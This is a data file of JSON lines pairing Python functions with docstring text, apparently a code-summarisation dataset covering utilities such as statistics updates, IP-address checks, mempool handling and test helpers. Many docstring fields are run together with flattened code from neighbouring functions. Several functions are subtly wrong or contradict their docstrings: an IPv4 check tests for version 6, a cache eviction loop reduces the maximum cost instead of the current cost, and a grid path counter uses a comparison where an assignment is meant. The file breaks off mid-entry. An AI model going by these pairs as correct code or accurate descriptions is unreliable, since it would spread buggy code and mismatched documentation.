stat.n_src_words\n", "nl": "Update statistics by suming values with another `Statistics` objectArgs:stat: another statistic objectupdate_n_src_words(bool): whether to update (sum) `n_src_words`or not"} {"code": "def testVisitSequenceFailure(self):\n tree = owyl.sequence(owyl.succeed(),\n owyl.succeed(),\n owyl.fail(),\n owyl.succeed())\n\n v = owyl.visit(tree)\n\n results = [x for x in v if x is not None]\n self.assertEqual(results, [True, True, False, False])\n\n v = owyl.visit(tree)\n\n results = [x for x in v if x is not None]\n self.assertEqual(results, [True, True, False, False])\n", "nl": "Can we visit a failing sequence?"} {"code": "def _bert_preprocess(self, record: Mapping[str, tf.Tensor]):\n name_to_features = {}\n for text_field in self._text_fields:\n name_to_features[text_field] = tf.io.FixedLenFeature([], tf.string)\n\n label_type = LABEL_TYPES_MAP[self._label_type]\n name_to_features[self._label_field] = tf.io.FixedLenFeature([], label_type)\n if self._include_example_id:\n name_to_features['example_id'] = tf.io.FixedLenFeature([], tf.int64)\n example = tf.io.parse_single_example(record, name_to_features)\n\n for name in example:\n t = example[name]\n if t.dtype == tf.int64:\n t = tf.cast(t, tf.int32)\n example[name] = t\n\n return example\n", "nl": "Berts preprocess.segments = [record[x] for x in self._text_fields]model_inputs = self._text_processor(segments)if self._include_example_id:model_inputs['example_id'] = record['example_id']y = record[self._label_field]return model_inputs, ydef _decode(self, record: tf.Tensor):Decodes a serialized tf.Example."} {"code": "def createView(self,viewName):\n self._views[viewName] = []\n", "nl": "Creates a UI view by name. I.e.: \"mainMenu\""} {"code": "def is_ipv4_address(ip):\n\n ip = str(ip)\n\n try:\n if ipaddress.ip_address(ip).version == 6:\n return True\n\n else:\n return False\n\n except ValueError as e:\n print(f\"{e}\")\n\n", "nl": "Returns True/False if a string is a valid IPv4 address.ip = str(ip)try:if ipaddress.ip_address(ip).version == 4:return Trueelse:return Falseexcept ValueError as e:print(f\"{e}\")def is_ipv6_address(ip):Returns True/False if a string is a valid IPv6 address."} {"code": "def is_supported(target: str, **kwargs: str) -> bool:\n dapp_ignore = kwargs.get(\"dapp_ignore\", False)\n if dapp_ignore:\n return False\n makefile = os.path.join(target, \"Makefile\")\n if os.path.isfile(makefile):\n with open(makefile, encoding=\"utf8\") as file_desc:\n txt = file_desc.read()\n return \"dapp \" in txt\n return False\n", "nl": "Check if the target is a dapp projectArgs:target (str): path to the target**kwargs: optional arguments. Used: \"dapp_ignore\"Returns:bool: True if the target is a dapp project"} {"code": "def current_fuzzing_generation(self, generation):\n self.renderings_monitor.current_fuzzing_generation = generation\n", "nl": " Setter for the current fuzzing generation@param generation: The new generation to set@type generation: Int@return: None@rtype : None"} {"code": "def hermeline(off, scl):\n if scl != 0:\n return np.array([off, scl])\n else:\n return np.array([off])\n\n", "nl": "Hermite series whose graph is a straight line.Parameters----------off, scl : scalarsThe specified line is given by ``off + scl*x``.Returns-------y : ndarrayThis module's representation of the Hermite series for``off + scl*x``.See Also--------polyline, cheblineExamples-------->>> from numpy.polynomial.hermite_e import hermeline>>> from numpy.polynomial.hermite_e import hermeline, hermeval>>> hermeval(0,hermeline(3, 2))3.0>>> hermeval(1,hermeline(3, 2))5.0"} {"code": "def add_to_potential_tx_set(self, item: MempoolItem):\n if item.spend_bundle_name in self.potential_txs:\n return None\n\n self.potential_txs[item.spend_bundle_name] = item\n self.potential_cache_cost += item.cost\n\n while self.potential_cache_cost > self.potential_cache_max_total_cost:\n first_in = list(self.potential_txs.keys())[0]\n self.potential_cache_max_total_cost -= self.potential_txs[first_in].cost\n self.potential_txs.pop(first_in)\n", "nl": "Adds SpendBundles that have failed to be added to the pool in potential tx set.This is later used to retry to add them."} {"code": "def uniquePathsWithObstacles(self, obstacleGrid):\n\n if obstacleGrid is None or len(obstacleGrid) == 0 or len(obstacleGrid[0]) == 0:\n return 1\n\n m = len(obstacleGrid)\n n = len(obstacleGrid[0])\n\n table = [[0 for _ in range(n)] for _ in range(m)]\n\n for i in range(m):\n for j in range(n):\n if obstacleGrid[i][j] == 1:\n table[i][j] == 0\n continue\n\n if (i == 0 and j == 0):\n table[i][j] = 1 - obstacleGrid[i][j]\n else:\n if i - 1 >= 0:\n table[i][j] += table[i - 1][j]\n if j - 1 >= 0:\n table[i][j] += table[i][j - 1]\n\n return table[-1][-1]", "nl": ":type obstacleGrid: List[List[int]]:rtype: int"} {"code": "def segment_range(*args):\n\n for i in range(*args):\n yield int_to_dir(i)\n\n\nrequires_tika = pytest.mark.skipif(\n tika_is_online() == False,\n reason='Tika is offline.'\n)", "nl": "Generate a range of segment names.Args:s1 (int): The first segment.s2 (int): The last segment.Yields:str: The next segment name."} {"code": "def autoload():\n global _ASSETS_LOADED\n if _ASSETS_LOADED:\n return False\n\n from django.conf import settings\n\n for app in apps.get_app_configs():\n\n try:\n import_module(\"{}.assets\".format(app.name))\n except Exception:\n if module_has_submodule(app.module, 'assets'):\n raise\n\n for module in getattr(settings, 'ASSETS_MODULES', []):\n import_module(\"%s\" % module)\n\n _ASSETS_LOADED = True", "nl": "Find assets by looking for an ``assets`` module within eachinstalled application, similar to how, e.g., the admin autodiscoverprocess works. This is were this code has been adapted from, too.Only runs once."} {"code": "def get_entry_info(self, group, name):\n", "nl": "Return the EntryPoint object for `group`+`name`, or ``None``return self.get_entry_map(group).get(name)def insert_on(self, path, loc=None, replace=False):Ensure self.location is on path"} {"code": "def set_cookie(self, cookie):\n self.__cookie = cookie\n", "nl": "Set HTTP cookie.cookie: cookie value."} {"code": "def create(self, **kwargs):\n obj = self.model(**kwargs)\n obj.save(force_insert=True)\n return obj\n", "nl": "Creates a new object with the given kwargs, saving it to the databaseand returning the created object."} {"code": "def _GetLifecycleConfig(self):\n subcommand = self.args.pop(0)\n if subcommand == 'get':\n metrics.LogCommandParams(subcommands=[subcommand])\n return self._GetLifecycleConfig()\n elif subcommand == 'set':\n metrics.LogCommandParams(subcommands=[subcommand])\n return self._SetLifecycleConfig()\n else:\n raise CommandException('Invalid subcommand \"%s\" for the %s command.' %\n (subcommand, self.command_name))", "nl": "Gets lifecycle configuration for a Google Cloud Storage bucket.bucket_url, bucket_metadata = self.GetSingleBucketUrlFromArg(self.args[0], bucket_fields=['lifecycle'])if bucket_url.scheme == 's3':sys.stdout.write(self.gsutil_api.XmlPassThroughGetLifecycle(bucket_url, provider=bucket_url.scheme))else:if bucket_metadata.lifecycle and bucket_metadata.lifecycle.rule:sys.stdout.write(LifecycleTranslation.JsonLifecycleFromMessage(bucket_metadata.lifecycle))else:sys.stdout.write('%s has no lifecycle configuration.\\n' % bucket_url)return 0def RunCommand(self):Command entry point for the lifecycle command."} {"code": "def can_create():", "nl": "Allows access to funding admins, and supervisors of (any) RA.Request object gets .units and .is_supervisor set along the way."} {"code": "def test_black_snippet_one():\n black_test(\n \"\"\"\n \"\"\"\n )\n\n", "nl": "Test consistent code formatting between isort and black for code snippet from black repository.See: https://github.com/psf/black/blob/master/tests/test_black.py"} {"code": "def __rand__(self, other):\n raise NotImplementedError\n\n @abstractmethod", "nl": "other & selfraise NotImplementedError@abstractmethoddef __xor__(self, other):self ^ other"} {"code": "def clone(self, env):\n\t\tnewobj = self.bld()\n\t\tfor x in self.__dict__:\n\t\t\tif x in ('env', 'bld'):\n\t\t\t\tcontinue\n\t\t\telif x in ('path', 'features'):\n\t\t\t\tsetattr(newobj, x, getattr(self, x))\n\t\t\telse:\n\t\t\t\tsetattr(newobj, x, copy.copy(getattr(self, x)))\n\n\t\tnewobj.posted = False\n\t\tif isinstance(env, str):\n\t\t\tnewobj.env = self.bld.all_envs[env].derive()\n\t\telse:\n\t\t\tnewobj.env = env.derive()\n\n\t\treturn newobj\n", "nl": "Makes a copy of a task generator. Once the copy is made, it is necessary to ensure that theit does not create the same output files as the original, or the same files maybe compiled several times.:param env: A configuration set:type env: :py:class:`waflib.ConfigSet.ConfigSet`:return: A copy:rtype: :py:class:`waflib.TaskGen.task_gen`"} {"code": "def bbox_flip(bboxes, img_shape):\n assert bboxes.shape[-1] % 4 == 0\n w = img_shape[1]\n flipped = bboxes.copy()\n flipped[..., 0::4] = w - bboxes[..., 2::4] - 1\n flipped[..., 2::4] = w - bboxes[..., 0::4] - 1\n return flipped\n\n\nclass BboxTransform(object):\n \"\"\"Preprocess gt bboxes.\n", "nl": "Flip bboxes horizontally.Args:bboxes(ndarray): shape (..., 4*k)img_shape(tuple): (height, width)"} {"code": "def is_response_to_head(response):\n method = response._method\n if isinstance(method, int):\n return method == 3\n return method.upper() == \"HEAD\"", "nl": "Checks whether the request of a response has been a HEAD-request.Handles the quirks of AppEngine.:param conn::type conn: :class:`httplib.HTTPResponse`"} {"code": "def save_configuration(self):\n self.check_credentials()\n c = self._get_pypirc_command()\n c._store_pypirc(self.username, self.password)\n", "nl": "Save the PyPI access configuration. You must have set ``username`` and``password`` attributes before calling this method.Again, distutils is used to do the actual work."} {"code": "def convert(self, data: Union[str, pd.DataFrame], output_path: str, filename: str) -> str:\n if type(data) == str:\n data = os.path.expanduser(data)\n if os.path.isfile(data):\n if self._need_conversion(data):\n data = self.read_file(data)\n else:\n return data\n else:\n raise ValueError('Please provide a path to a file.')\n\n if isinstance(data, pd.DataFrame):\n path = os.path.join(output_path, f'{filename}.{self.ext}')\n self._save_dataframe(data, path)\n return path\n\n raise ValueError(f'{type(data)} is not supported.')\n\n @staticmethod", "nl": "Convert a tabular file to another format.If the file does not need conversion, will return the original path.Parameters----------data: Union[str, pd.DataFrame]If str, path to the file to be converted.If pd.DataFrame, dataframe to be converted.output_path: strPath to save the converted filefilename: strFilename to be saved for the converted fileReturns------strPath to the converted file. If the file does not need conversion, will return the original path."} {"code": "def __init__(self, protocol_tag, type_name, virsh_instance=base.virsh):\n accessors.XMLAttribute('type_name', self,\n parent_xpath='/',\n tag_name=protocol_tag,\n attribute='type')\n super(TypedDeviceBase, self).__init__(protocol_tag=protocol_tag,\n virsh_instance=virsh_instance)\n self.type_name = type_name\n\n @classmethod", "nl": "Initialize Typed filter rule protocol instance's basic XML withtype_name & protocol_tag"} {"code": "def _import_module(name):\n A meta path importer to import six.moves and its submodules.\n\n This class implements a PEP302 finder and loader. It should be compatible\n with Python 2.5 and all existing versions of Python3\n \"\"\"", "nl": "Import module, returning the module after the last dot.__import__(name)return sys.modules[name]class _LazyDescr(object):def __init__(self, name):self.name = namedef __get__(self, obj, tp):result = self._resolve()setattr(obj, self.name, result) # Invokes __set__.try:# This is a bit ugly, but it avoids running this again by# removing this descriptor.delattr(obj.__class__, self.name)except AttributeError:passreturn resultclass MovedModule(_LazyDescr):def __init__(self, name, old, new=None):super(MovedModule, self).__init__(name)if PY3:if new is None:new = nameself.mod = newelse:self.mod = olddef _resolve(self):return _import_module(self.mod)def __getattr__(self, attr):_module = self._resolve()value = getattr(_module, attr)setattr(self, attr, value)return valueclass _LazyModule(types.ModuleType):def __init__(self, name):super(_LazyModule, self).__init__(name)self.__doc__ = self.__class__.__doc__def __dir__(self):attrs = [\"__doc__\", \"__name__\"]attrs += [attr.name for attr in self._moved_attributes]return attrs# Subclasses should override this_moved_attributes = []class MovedAttribute(_LazyDescr):def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):super(MovedAttribute, self).__init__(name)if PY3:if new_mod is None:new_mod = nameself.mod = new_modif new_attr is None:if old_attr is None:new_attr = nameelse:new_attr = old_attrself.attr = new_attrelse:self.mod = old_modif old_attr is None:old_attr = nameself.attr = old_attrdef _resolve(self):module = _import_module(self.mod)return getattr(module, self.attr)class _SixMetaPathImporter(object):"} {"code": "def test_recognize_not_option(coq: Coqtop) -> None:\n assert coq.xml is not None\n if coq.xml.version < (8, 5, 0):\n pytest.skip(\"Only 8.5+ uses state ids\")\n succ, _, _, _ = coq.dispatch(\"Definition Print := Type.\")\n assert succ\n old_id = coq.state_id\n succ, _, _, _ = coq.dispatch(\"Variable x :\\nPrint.\")\n assert succ\n assert old_id != coq.state_id\n succ, _, _, _ = coq.dispatch(\"Definition Abouts := Type.\")\n assert succ\n old_id = coq.state_id\n succ, _, _, _ = coq.dispatch(\"Variable y :\\n Abouts.\")\n assert succ\n assert old_id != coq.state_id\n\n", "nl": "Dispatch correctly identifies certain lines as not option commands.succ, _, _, _ = coq.dispatch(\"Require Import\\nSetoid.\")assert succsucc, _, _, _ = coq.dispatch(\"Variable x :\\nSet.\")assert succsucc, _, _, _ = coq.dispatch(\"Definition Test := Type.\")assert succsucc, _, _, _ = coq.dispatch(\"Variable y :\\n Test.\")assert succdef test_recognize_not_query(coq: Coqtop) -> None:Dispatch correctly identifies certain lines as not query commands."} {"code": "def transformation_matrix(self):\n t = np.array([[0.0], [0.0], [0.0]])\n Rt = np.hstack([self.rotation_matrix, t])\n return np.vstack([Rt, np.array([0.0, 0.0, 0.0, 1.0])])\n\n @property", "nl": "Get the 4x4 homogeneous transformation matrix equivalent of the quaternion rotation.Returns:A 4x4 homogeneous transformation matrix as a 4x4 Numpy arrayNote:This feature only makes sense when referring to a unit quaternion. Calling this method will implicitly normalise the Quaternion object to a unit quaternion if it is not already one."} {"code": "def test_create_script_linux(self):\n script_file = os.path.join(self.root, 'script')\n templates.create_script(\n script_file,\n 's6.run',\n user='testproid',\n home='home',\n shell='shell',\n _alias={\n 's6_setuidgid': '/test/s6-setuidgid',\n }\n )\n\n with io.open(script_file) as script:\n data = script.read()\n\n self.assertTrue(data.index(\n '/test/s6-setuidgid testproid') > 0)\n\n self.assertEqual(utils.os.stat(script_file).st_mode, 33261)\n\n @unittest.skipUnless(sys.platform.startswith('linux'), 'Requires Linux')\n @mock.patch('treadmill.subproc.get_aliases', mock.Mock(return_value={}))", "nl": "this tests the create_script function.the function creates executable scripts from templates that existin the template directory."} {"code": "def test_public_id_lt_positive(self):\n assert PublicId.is_valid_str(\"author/name:0.1.0\")\n assert not PublicId.is_valid_str(\"author!name:0.1.0\")\n", "nl": "Test case for json __lt__ method positive result.obj1 = PublicId(AUTHOR, \"name\", \"1.0.0\")obj2 = PublicId(AUTHOR, \"name\", \"2.0.0\")self.assertTrue(obj1 < obj2)def test_is_valid_str(self):Test is_valid_str method."} {"code": "def _get_image(self):\n for item in self.containers:\n if item.get('image') == self.image:\n return Image(item,\n **self._args)\n\n _n = self._generate_image_name(self.image)\n image = {'image': self.image, 'name': _n}\n try:\n pulled = self.query.unwrap(\n self.query.post(IMAGES_PATH + 'new', {'image': self.image}))\n except (AttributeError, TypeError):\n pulled = {}\n\n if 'volumeMounts' in pulled:\n pulled['volumeMounts'] = [{'mountPath': x}\n for x in pulled['volumeMounts']]\n if 'ports' in pulled:\n pulled['ports'] = [\n {\n 'isPublic': False,\n 'containerPort': x.get('number'),\n 'hostPort': x.get('number'),\n 'protocol': x.get('protocol')\n } for x in pulled['ports']]\n image.update(pulled)\n self.containers.append(image)\n return Image(image, **self._args)\n\n @staticmethod", "nl": "Return image data from a previously saved image or create a new oneand populate it with pulled data:param name: image name, i.e fedora/apache -- string"} {"code": "def build(self):\n return f\"B{self._assembly[-2:]}\"\n\n @property", "nl": "Get reference sequence build.Returns-------stre.g., \"B37\""} {"code": "def get_default_param(self):\n raise NotImplementedError\n\n", "nl": " applies transformation to the image raise NotImplementedErrordef get_identity_param(self): applies identity transformation to the image "} {"code": "def parallel(func, items):\n item_queue = queue.Queue()\n fin = threading.Event()\n\n for i in items:\n item_queue.put(i)\n\n for i in range(THREAD_COUNT):\n t1 = threading.Thread(target=func, args=(fin, item_queue))\n t1.start()\n\n try:\n old_len = item_queue.qsize()\n while threading.active_count() > 1:\n time.sleep(2)\n new_len = item_queue.qsize()\n if (old_len - new_len) >= 1000:\n print('[+] {0} items remaining.'.format(new_len))\n old_len = new_len\n\n except KeyboardInterrupt:\n fin.set()\n\n", "nl": "Run the given function in parallel.Use multithreading to run the given function and arguments in parallel."} {"code": "def set_index_info(self, fname, info):\n\n This is only suitable for HTML text, not attributes.\n\n \"\"\"", "nl": "Set the information for index.html for `fname`.self.files.setdefault(fname, {})['index'] = info# Helpers for templates and generating HTMLdef escape(t):HTML-escape the text in `t`."} {"code": "def test_match(self, *args):\n device_is_dm = args[0]\n device_is_dm_lvm = args[6]\n data = {'SYS_PATH': 'dummy'}\n self.assertEqual(get_device_helper(data), self.helper_class)\n\n device_is_dm.return_value = False\n self.assertNotEqual(get_device_helper(data), self.helper_class)\n device_is_dm.return_value = True\n\n device_is_dm_lvm.return_value = True\n self.assertNotEqual(get_device_helper(data), self.helper_class)\n device_is_dm_lvm.return_value = False\n\n @patch.object(DeviceTree, \"get_device_by_name\")\n @patch.object(DMDevice, \"status\", return_value=True)\n @patch.object(DMDevice, \"update_sysfs_path\")\n @patch.object(DeviceTree, \"_add_parent_devices\")\n @patch(\"blivet.udev.device_get_name\")\n @patch(\"blivet.udev.device_get_sysfs_path\", return_value=sentinel.sysfs_path)", "nl": "Test matching of dm device populator.device_is_dm = args[0]device_is_dm_luks = args[5]self.assertTrue(self.helper_class.match(None))device_is_dm.return_value = Falseself.assertFalse(self.helper_class.match(None))# verify that setting one of the required False return values to True prevents successdevice_is_dm_luks.return_value = Trueself.assertFalse(self.helper_class.match(None))device_is_dm_luks.return_value = False@patch(\"blivet.udev.device_is_dm_luks\", return_value=False)@patch(\"blivet.udev.device_is_dm_integrity\", return_value=False)@patch(\"blivet.udev.device_is_dm_lvm\", return_value=False)@patch(\"blivet.udev.device_is_dm_mpath\", return_value=False)@patch(\"blivet.udev.device_is_dm_partition\", return_value=False)@patch(\"blivet.udev.device_is_dm_raid\", return_value=False)@patch(\"blivet.udev.device_is_dm_stratis\", return_value=False)@patch(\"blivet.udev.device_is_md\", return_value=False)@patch(\"blivet.udev.device_is_loop\", return_value=False)@patch(\"blivet.udev.device_is_dm\", return_value=True)def test_get_helper(self, *args):Test get_device_helper for dm devices."} {"code": "def get_package_id(self) -> Optional[str]:\n if not reference:\n return None\n\n resource = meta.Session.query(cls).get(reference)\n if resource is None:\n resource = cls.by_name(reference)\n return resource\n\n @classmethod", "nl": "Returns the package id for a resource. return self.package_id@classmethoddef get(cls, reference: str) -> Optional[Self]:Returns a resource object referenced by its name or id."} {"code": "def toonGotHealed(self, toonId):\n toon = base.cr.doId2do.get(toonId)\n if toon:\n base.playSfx(self.toonUpSfx, node = toon)\n\n", "nl": "A toon got healed, play a sound effect"} {"code": "def _getVectorInput(self, data_block, plug, is_array=False):\n\n return self._getGenericInput(data_block, plug, MVector, \"asVector\", is_array=is_array, array_type=self.VECTOR_LIST_TYPE)\n\n", "nl": "Get the given plugs input value as 3 float tuple. Returns an 3 float tuple value or tuple of 3 float tuplesdepending on the is_array arg."} {"code": "def get_name(cls):\n\t\treturn 'categorical_crossentropy'\n", "nl": " Returns the name of the loss function."} {"code": "def preprocess(self, resized_inputs):\n resized_inputs = super(\n CenterNetResnetV1FpnFeatureExtractor, self).preprocess(resized_inputs)\n return tf.keras.applications.resnet.preprocess_input(resized_inputs)\n", "nl": "Preprocess input images for the ResNet model.This scales images in the range [0, 255] to the range [-1, 1]Args:resized_inputs: a [batch, height, width, channels] float32 tensor.Returns:outputs: a [batch, height, width, channels] float32 tensor."} {"code": "def download(self, getMasks:bool= False, latLonResolution:float= 0.0005, **kwargs):\n self._getMasks = bool(getMasks)\n min_lat, max_lat = self._getLatBounds()\n min_lon, max_lon = self._getLonBounds()\n if (max_lat - min_lat <= latLonResolution) or (max_lon - min_lon <= latLonResolution):\n raise ValueError(f\"Latitude and longitude bounds must be separated by at least the latLonResolution (currently {latLonResolution}). Either shrink the resolution value or increase the separation of your minimum/maximum latitude and longitude.\")\n\n URL_ALL = []\n for i in tqdm(np.arange(min_lat, max_lat, latLonResolution)):\n tp = None\n for j in np.arange(min_lon, max_lon, latLonResolution):\n URL_ALL.append(self.make_url(i,j))\n if self.verbose:\n print(\"ALL URL CREATED! ...\")\n global LOCK_VAR, UNLOCK_VAR, LOCKING_LIMIT\n if LOCK_VAR == 0:\n if self.verbose:\n print(\"LOCKING\")\n LOCK_VAR = 1\n UNLOCK_VAR = 0\n tp = ThreadPool(LOCKING_LIMIT)\n tp.imap_unordered(lambda x: self.get_img(x, **kwargs), URL_ALL)\n tp.close()\n if UNLOCK_VAR >= LOCKING_LIMIT and tp is not None:\n tp.join()\n\n", "nl": "Downloads the tiles as initialized.Parameters--------------------------------getMasks:bool (default= False)Download the road PNG mask tile if truelatLonResolution:float (default= 0.0005)The step size to use when creating tilesAlso accepts kwargs for `get_img`."} {"code": "def handler_is_deprecated(self, name, category=None):\n if self._stub_policy:\n warn(_preamble +\n \"``context.policy.handler_is_deprecated()`` will no longer be available.\",\n DeprecationWarning, stacklevel=2)\n else:\n warn(_preamble +\n \"``CryptPolicy().handler_is_deprecated()`` will no longer be available.\",\n DeprecationWarning, stacklevel=2)\n if hasattr(name, \"name\"):\n name = name.name\n return self._context.handler(name, category).deprecated\n\n", "nl": "check if handler has been deprecated by policy... deprecated:: 1.6this method has no direct replacement in the 1.6 api, as thereis not a clearly defined use-case. however, examining the output of:meth:`CryptContext.to_dict` should serve as the closest alternative."} {"code": "def get_flags_names(self):\n raise NotImplementedError('This method should be overloaded')\n", "nl": "Return the names of the flags checked by this validator.Returns:[string], names of the flags"} {"code": "def defined_types(self) -> Set[Type]:", "nl": "The types the container has explicit build instructions for:return:"} {"code": "def forward(self, x, mask=None, first_idx=None, last_idx=None):\n\n x = x * math.sqrt(self.channels)\n if first_idx is None:\n if self.pe.size(2) < x.size(2):\n raise RuntimeError(\n f\"Sequence is {x.size(2)} but PositionalEncoding is\"\n f\" limited to {self.pe.size(2)}. See max_len argument.\"\n )\n if mask is not None:\n pos_enc = self.pe[:, :, : x.size(2)] * mask\n else:\n pos_enc = self.pe[:, :, : x.size(2)]\n if self.use_scale:\n x = x + self.scale * pos_enc\n else:\n x = x + pos_enc\n else:\n if self.use_scale:\n x = x + self.scale * self.pe[:, :, first_idx:last_idx]\n else:\n x = x + self.pe[:, :, first_idx:last_idx]\n if hasattr(self, \"dropout\"):\n x = self.dropout(x)\n return x", "nl": "Shapes:x: [B, C, T]mask: [B, 1, T]first_idx: intlast_idx: int"} {"code": "def v4_int_to_packed(address):\n try:\n return _compat_to_bytes(address, 4, 'big')\n except (struct.error, OverflowError):\n raise ValueError(\"Address negative or too large for IPv4\")\n\n", "nl": "Represent an address as 4 packed bytes in network (big-endian) order.Args:address: An integer representation of an IPv4 IP address.Returns:The integer address packed as 4 bytes in network (big-endian) order.Raises:ValueError: If the integer is negative or too large to be anIPv4 IP address."} {"code": "def _wait_for_registration(self, timeout):\n with self._registration_sync:\n end_time = int(time.time()) + timeout\n while not self._registration_occurred:\n self._wait_for_registration_notification(end_time - int(time.time()))\n", "nl": "Waits for the service to be registered with the broker for the first time.:param timeout: The amount of time to wait for the registration to occur.:return: None."} {"code": "def encrypt(self, block):\n\n return \"Twofish\"\n\n", "nl": "Encrypt blocks.if len(block) % 16:raise ValueError(\"block size must be a multiple of 16\")ciphertext = b''while block:a, b, c, d = struct.unpack(\"<4L\", block[0:16])temp = [a, b, c, d]encrypt(self.context, temp)ciphertext += struct.pack(\"<4L\", *temp)block = block[16:]return ciphertextdef get_name(self):Return the name of the cipher."} {"code": "def callHandlers(self, record):\n c = self\n found = 0\n while c:\n for hdlr in c.handlers:\n found = found + 1\n if record.levelno >= hdlr.level:\n hdlr.handle(record)\n\n if not c.propagate:\n c = None\n else:\n c = c.parent\n\n if found == 0 and raiseExceptions and not self.manager.emittedNoHandlerWarning:\n sys.stderr.write('No handlers could be found for logger \"%s\"\\n' % self.name)\n self.manager.emittedNoHandlerWarning = 1\n return\n", "nl": "Pass a record to all relevant handlers.Loop through all handlers for this logger and its parents in thelogger hierarchy. If no handler was found, output a one-off errormessage to sys.stderr. Stop searching up the hierarchy whenever alogger with the \"propagate\" attribute set to zero is found - thatwill be the last logger whose handlers are called."} {"code": "def latent_log_prob(self):\n return self._latent_log_prob\n\n @property", "nl": "Get the summed log-density of latent variables.Returns:tf.Tensor: The summed log-density of latent variables."} {"code": "def list_domains(self):\n paths = []\n for cookie in iter(self):\n if cookie.path not in paths:\n paths.append(cookie.path)\n return paths\n", "nl": "Utility method to list all the domains in the jar.domains = []for cookie in iter(self):if cookie.domain not in domains:domains.append(cookie.domain)return domainsdef list_paths(self):Utility method to list all the paths in the jar."} {"code": "def spider_db_to_table_tuples(db):\n table_schemas = list()\n for table_name, columns in db.items():\n table_schemas.append(\n abstract_sql.TableSchema(\n table_name=table_name.lower(),\n column_names=[column['field name'].lower() for column in columns]))\n return table_schemas\n\n", "nl": "Return list of abstract_sql.TableSchema from spider json.# The format of the db json object is documented here:# https://github.com/taoyds/spider#tables# List of string table names.table_names = db['table_names_original']# List of lists with [table_idx, column_name].column_list = db['column_names_original']column_names_indexed_by_table = [[] for _ in table_names]for column in column_list:column_names_indexed_by_table[column[0]].append(column[1].lower())table_schemas = []for table_name, column_names in zip(table_names,column_names_indexed_by_table):table_schemas.append(abstract_sql.TableSchema(table_name=table_name.lower(),column_names=column_names,))return table_schemasdef michigan_db_to_table_tuples(db):Returns list of abstract_sql.TableSchema from Michigan schema object."} {"code": "def update_from_search_queryset(self, queryset):\n self.clear()\n self.add(BareAccessStatistics.from_search_queryset(queryset))\n self.save()\n\n @classmethod", "nl": "Updates the stats using the search index"} {"code": "def renderResource(uri, notFoundHandler=None):\n\n root = Root()\n if notFoundHandler is not None:\n root.remember(notFoundHandler, inevow.ICanHandleNotFound)\n site = appserver.NevowSite(root)\n ctx = context.SiteContext(tag=site)\n\n request = testutil.FakeRequest(uri=uri)\n ctx = context.RequestContext(parent=ctx, tag=request)\n", "nl": "Render a resource at some uri and return the response code and html."} {"code": "def yarascan(self):\n results = []\n\n ypath = os.path.join(CUCKOO_ROOT, \"data\", \"yara\", \"index_memory.yar\")\n if not os.path.exists(ypath):\n return dict(config={}, data=[])\n\n self.config.update(\"YARA_FILE\", ypath)\n\n command = self.plugins[\"yarascan\"](self.config)\n for o, addr, hit, content in command.calculate():\n if o is None:\n owner = \"Unknown Kernel Memory\"\n elif o.obj_name == \"_EPROCESS\":\n owner = \"Process {0} Pid {1}\".format(o.ImageFileName, o.UniqueProcessId)\n else:\n owner = \"{0}\".format(o.BaseDllName)\n\n hexdump = \"\".join(\n \"{0:\n for o, h, c in utils.Hexdump(content[0:64]))\n\n new = {\n \"rule\": hit.rule,\n \"owner\": owner,\n \"hexdump\": hexdump,\n }\n results.append(new)\n\n return dict(config={}, data=results)\n", "nl": "Volatility yarascan plugin.@see volatility/plugins/malware/yarascan.py"} {"code": "def save(self, model, filename):\n\t\traise NotImplementedError\n", "nl": " Saves the model weights to the given filename.# Argumentsmodel: Model instance. The model whose weights should be saved.filename: str. The filename to write the weights to.# NotesThe file format is backend-specific. There is no guarantee ofcompatability between different backends.# Return valueNone"} {"code": "def init_tf(config_dict: dict = None) -> None:", "nl": "Initialize TensorFlow session using good default settings.# Skip if already initialized.if tf.get_default_session() is not None:return# Setup config dict and random seeds.cfg = _sanitize_tf_config(config_dict)np_random_seed = cfg[\"rnd.np_random_seed\"]if np_random_seed is not None:np.random.seed(np_random_seed)tf_random_seed = cfg[\"rnd.tf_random_seed\"]if tf_random_seed == \"auto\":tf_random_seed = np.random.randint(1 << 31)if tf_random_seed is not None:tf.set_random_seed(tf_random_seed)# Setup environment variables.for key, value in cfg.items():fields = key.split(\".\")if fields[0] == \"env\":assert len(fields) == 2os.environ[fields[1]] = str(value)# Create default TensorFlow session.create_session(cfg, force_as_default=True)def assert_tf_initialized():Check that TensorFlow session has been initialized."} {"code": "def GetHelp(self, prefix=''):\n if not isinstance(module, str):\n module = module.__name__\n output_lines.append('\\n%s%s:' % (prefix, module))\n self.__RenderFlagList(flags, output_lines, prefix + \" \")\n", "nl": "Generates a help string for all known flags.helplist = []flags_by_module = self.FlagsByModuleDict()if flags_by_module:modules = sorted(flags_by_module)# Print the help for the main module first, if possible.main_module = _GetMainModule()if main_module in modules:modules.remove(main_module)modules = [main_module] + modulesfor module in modules:self.__RenderOurModuleFlags(module, helplist)self.__RenderModuleFlags('gflags',_SPECIAL_FLAGS.FlagDict().values(),helplist)else:# Just print one long list of flags.self.__RenderFlagList(self.FlagDict().values() + _SPECIAL_FLAGS.FlagDict().values(),helplist, prefix)return '\\n'.join(helplist)def __RenderModuleFlags(self, module, flags, output_lines, prefix=\"\"):Generates a help string for a given module."} {"code": "def name(self):\n return bool(self._conn)\n", "nl": " Returns the string-name of the jump hostreturn self._spec.name@propertydef is_active(self): Return True if the jumphost is connected, False otherwise "} {"code": "def split(cls, s):\n m = cls.pattern.search(s)\n if m is None:\n return (s,)\n x = m.start(0)\n return (s[:x], s[x:])\n", "nl": "Split the TZ from string.@param s: A string containing a timezone@type s: basestring@return: The split parts.@rtype: tuple"} {"code": "def fiber_length(self):\n Create (or reflow) this ONU to hardware\n :param reflow: (boolean) Flag, if True, indicating if this is a reflow ONU\n information after an unmanaged OLT hardware reboot\n \"\"\"", "nl": "Distance to ONUreturn self._fiber_length@fiber_length.setterdef fiber_length(self, value):if self._fiber_length != value:self._fiber_length = value# TODO: Notify anyone?def _cancel_deferred(self):d, self._sync_deferred = self._sync_deferred, Noneif d is not None and not d.called:try:d.cancel()except Exception:pass@inlineCallbacksdef create(self, reflow=False):"} {"code": "def try_import(module_name):\n\n try:\n __import__(module_name)\n return sys.modules[module_name]\n\n except ImportError:\n\n traceback = sys.exc_info()[2]\n if traceback.tb_next:\n raise\n\n return None\n\n", "nl": "Import and return *module_name*.>>> try_import(\"csv\") # doctest: +ELLIPSISUnlike the standard try/except approach to optional imports, inspectthe stack to avoid catching ImportErrors raised from **within** themodule. Only return None if *module_name* itself cannot be imported.>>> try_import(\"spam.spam.spam\") is NoneTrue"} {"code": "def __init__(self, low_dims, learning_rate = 0.01, 